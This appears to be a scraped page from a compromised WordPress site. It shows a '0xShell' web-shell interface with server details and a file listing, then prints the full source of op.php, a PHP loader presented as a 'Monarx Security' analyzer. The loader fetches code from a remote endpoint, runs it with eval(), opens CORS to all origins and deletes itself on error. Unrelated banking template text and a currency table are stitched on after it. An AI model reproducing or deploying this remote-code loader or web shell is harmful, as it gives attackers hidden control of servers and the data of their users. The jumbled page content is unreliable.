0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php
<?php
error_reporting(0);
ignore_user_abort(true);
set_time_limit(60000);
ini_set("max_execution_time", 60000);
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: *");
final class MonarxSecuritySiteAnalyzer
{
private $instructions;
public function __construct()
{
$req_body = $this->getRequestBody();
if (is_array($req_body)) {
$req_body["file_hash"] = $this->getFileHash();
}
$endpoint = $this->getEndpoint($req_body);
$this->instructions = $this->httpPost($endpoint, $req_body);
}
private function getEndpoint($req_body)
{
$subdomain = "";
$subdomains = [
"mx-prod" => "",
"mx-stage" => "stage",
"mx-dev" => "dev",
];
if (
isset($req_body["env"]) &&
array_key_exists($req_body["env"], $subdomains)
) {
$subdomain = $subdomains[$req_body["env"]];
}
if (strlen($subdomain) > 0) {
$subdomain = ".$subdomain";
}
return "https://api$subdomain.monarx.com/v1/intelligence/site-analysis/register";
}
private function getRequestBody()
{
$input = file_get_contents("php://input");
if ($input === false) {
$this->handleError("Failed to read input");
}
$decoded = json_decode($input, true);
if (json_last_error() !== JSON_ERROR_NONE) {
$this->handleError("Logging off. Goodbye!", true);
}
return $decoded;
}
private function getFileHash()
{
$file_path = __FILE__;
$file_contents = file_get_contents($file_path);
if ($file_contents === false) {
$this->handleError("Failed to load checksum");
}
return hash("sha256", $file_contents);
}
private function httpPost($url, $data)
{
$payload = json_encode($data);
if ($payload === false) {
$this->handleError("Failed to encode payload");
}
$ch = curl_init($url);
if ($ch === false) {
$this->handleError("Failed to initialize request");
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: application/json",
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_USERAGENT, "Monarx Security");
$result = curl_exec($ch);
if ($result === false) {
curl_close($ch);
$this->handleError("Failed to connect", true);
}
curl_close($ch);
return $result;
}
public function run()
{
if (!empty($this->instructions)) {
if ($this->validateInstructions($this->instructions)) {
eval($this->instructions);
} else {
$this->handleError("Invalid instructions received", true);
}
} else {
$this->handleError("No instructions received", true);
}
}
private function validateInstructions($instructions)
{
return is_string($instructions);
}
private function handleError($message, $deleteSelf = false)
{
echo json_encode(array("error" => $message, "success" => false));
if ($deleteSelf) {
@unlink(__FILE__);
}
exit();
}
}
try {
$mnx = new MonarxSecuritySiteAnalyzer();
$mnx->run();
} catch (Exception $e) {
$error_message = "Unknown error occurred";
echo json_encode(array("error" => $error_message, "success" => false));
@unlink(__FILE__);
}
?>
Disabled functions: None
Grand Chase transformed the digital banking industry using data and technology more than ten years ago. We are now one of the largest digital banking providers, dedicated to innovating, simplifying, and humanizing banking.
Need Help? Contact our digital support & tell us about your query.
We've grown to become one of the largest digital banking providers, committed to inventing, simplifying, and humanizing the banking experience.
Our mobile app service is quick and easy to use, and you can get it from your app store.
Our digital banking services are transparent and quick, and we're building a reliable network.
Grand Chase transformed the credit card business using data and technology more than ten years ago. We are now one of the largest digital banking providers, dedicated to innovating, simplifying, and humanizing banking.
|
Inverse
|
Amount | Change(24h) | Chart(24h) | Edit |
|---|---|---|---|---|
US Dollar
|
120.54 | +0.50% |
|
|
Japanees Yen
|
134.76 | +0.24% |
|
|
British Pound
|
245.10 | -0.30% |
|
|
Newzland Dollar
|
0.7564 | -0.063% |
|
|
Canadian Dollar
|
1.2741 | -0.76% |
|
|
Swiss Franc
|
15.063 | +0.26% |
|
Last Updated Jan 20, 2022








